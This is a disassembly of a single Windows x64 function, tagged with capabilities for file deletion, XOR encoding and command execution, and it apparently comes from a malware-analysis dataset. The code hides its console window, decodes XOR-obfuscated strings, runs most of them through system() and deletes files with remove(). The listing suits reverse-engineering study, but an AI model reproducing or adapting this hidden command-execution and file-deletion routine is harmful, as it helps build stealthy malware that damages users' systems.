Function at 0x14000db50
Capabilities:
Delete file
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x1400b21e0]
xor ebx, ebx
movdqa xmm1, xmmword [0x1400b2400]
mov ecx, ebx
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm0, xmmword [0x1400b2420]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1400b2290]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmm1, xmmword [0x1400b2300]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x1400b2310]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1400b2360]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmm0, xmmword [0x1400b23a0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x1400b22c0]
movdqa xmmword [rbp + 0x37], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp + 0x47], 0x958d99c8
mov dword [rbp + 0x4b], 0xdbc2c9da
mov word [rbp + 0x4f], Ordinal_211
mov byte [rbp + 0x51], 1
lea eax, [rcx + 0x66]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0x99
jb 0x14000dc04
lea rcx, [rbp - 0x49]
mov byte [rbp + 0x51], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400b21e0]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400b2400]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm0, xmmword [0x1400b2420]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1400b2290]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmm1, xmmword [0x1400b2300]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x1400b22d0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1400b2350]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmm0, xmmword [0x1400b22e0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x1400b22b0]
movdqa xmmword [rbp + 0x37], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp + 0x47], 0xdfc6c5d6
mov word [rbp + 0x4b], 0xcb
mov byte [rbp + 0x4d], 1
nop dword [rax]
lea eax, [rcx + 0x66]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0x95
jb 0x14000dcb0
lea rcx, [rbp - 0x49]
mov byte [rbp + 0x4d], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400b21e0]
mov rcx, rbx
movdqa xmm1, xmmword [0x1400b2400]
movdqa xmmword [rbp - 0x49], xmm0
movdqa xmm0, xmmword [0x1400b2420]
movdqa xmmword [rbp - 0x29], xmm0
movdqa xmm0, xmmword [0x1400b22a0]
movdqa xmmword [rbp - 0x39], xmm1
movdqa xmm1, xmmword [0x1400b2300]
movdqa xmmword [rbp - 9], xmm0
movdqa xmm0, xmmword [0x1400b23e0]
movdqa xmmword [rbp - 0x19], xmm1
movdqa xmm1, xmmword [0x1400b2330]
movdqa xmmword [rbp + 0x17], xmm0
movdqa xmm0, xmmword [0x1400b22f0]
movdqa xmmword [rbp + 7], xmm1
movdqa xmm1, xmmword [0x1400b2280]
movdqa xmmword [rbp + 0x37], xmm0
movdqa xmmword [rbp + 0x27], xmm1
mov dword [rbp + 0x47], 0xcbd89b83
mov dword [rbp + 0x4b], 0xcdddc4
mov byte [rbp + 0x4f], 1
nop word [rax + rax]
lea eax, [rcx + 0x66]
xor byte [rbp + rcx - 0x49], al
inc rcx
cmp rcx, 0x97
jb 0x14000dd60
lea rcx, [rbp - 0x49]
mov byte [rbp + 0x4f], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rbx
mov dword [rbp + 0x67], 0x1b0b05
mov byte [rbp + 0x6b], 1
nop
lea eax, [rcx + 0x66]
xor byte [rbp + rcx + 0x67], al
inc rcx
cmp rcx, 3
jb 0x14000dd90
lea rcx, [rbp + 0x67]
mov byte [rbp + 0x6b], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400b21f0]
mov rcx, rbx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rbp - 0x79], 0x141d0305
mov dword [rbp - 0x75], 0x204949
mov byte [rbp - 0x71], 1
lea eax, [rcx + 0x66]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x17
jb 0x14000ddd0
lea rcx, [rsp + 0x20]
mov byte [rbp - 0x71], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400b2200]
mov rcx, rbx
movdqa xmm1, xmmword [str.eDJ___r]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rbp - 0x59], 0xd7c4a5a5
movdqa xmm0, xmmword [0x1400b2410]
movdqu xmmword [rbp - 0x69], xmm0
mov dword [rbp - 0x55], 0xb3fdedf5
movdqu xmmword [rbp - 0x79], xmm1
mov dword [rbp - 0x51], 0xd3e6ed
mov byte [rbp - 0x4d], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x66]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x3b
jb 0x14000de40
lea rcx, [rsp + 0x20]
mov byte [rbp - 0x4d], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400b2200]
mov rcx, rbx
movdqa xmm1, xmmword [str.eDJ___r]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rbp - 0x59], 0xd8c4a5a5
movdqa xmm0, xmmword [0x1400b2410]
movdqu xmmword [rbp - 0x69], xmm0
mov dword [rbp - 0x55], 0xfbf0f4fe
movdqu xmmword [rbp - 0x79], xmm1
mov dword [rbp - 0x51], 0xd2d9ecb0
mov word [rbp - 0x4d], 0x100
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x66]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x3c
jb 0x14000deb0
lea rcx, [rsp + 0x20]
mov byte [rbp - 0x4c], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400b2200]
mov rcx, rbx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rbp - 0x79], 0x254a441b
mov dword [rbp - 0x75], 0x4f040d29
mov dword [rbp - 0x71], 0xe4ae1e3a
mov dword [rbp - 0x6d], 0x100e6fa
nop dword [rax + rax]
lea eax, [rcx + 0x66]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x1e
jb 0x14000df00
lea rcx, [rsp + 0x20]
mov byte [rbp - 0x6a], bl
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400b2200]
mov rcx, rbx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rbp - 0x79], 0x254a441b
mov dword [rbp - 0x75], 0x1c0a1434
mov dword [rbp - 0x71], 0xf2f90c50
mov word [rbp - 0x6d], 0x100
nop word [rax + rax]
lea eax, [rcx + 0x66]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x1c
jb 0x14000df50
lea rcx, [rsp + 0x20]
mov byte [rbp - 0x6c], bl
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400b2200]
mov rcx, rbx
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rbp - 0x79], 0x254a441b
mov dword [rbp - 0x75], 0x11131f3b
mov dword [rbp - 0x71], 0xf8f35118
mov word [rbp - 0x6d], 0xf1
mov byte [rbp - 0x6b], 1
nop
lea eax, [rcx + 0x66]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x1d
jb 0x14000dfa0
lea rcx, [rsp + 0x20]
mov byte [rbp - 0x6b], bl
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp + 0x67], 0x1b0b05
mov byte [rbp + 0x6b], 1
nop dword [rax]
lea eax, [rbx + 0x66]
xor byte [rbp + rbx + 0x67], al
inc rbx
cmp rbx, 3
jb 0x14000dfd0
lea rcx, [rbp + 0x67]
mov byte [rbp + 0x6b], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x118]
add rsp, 0x100
pop rbp
ret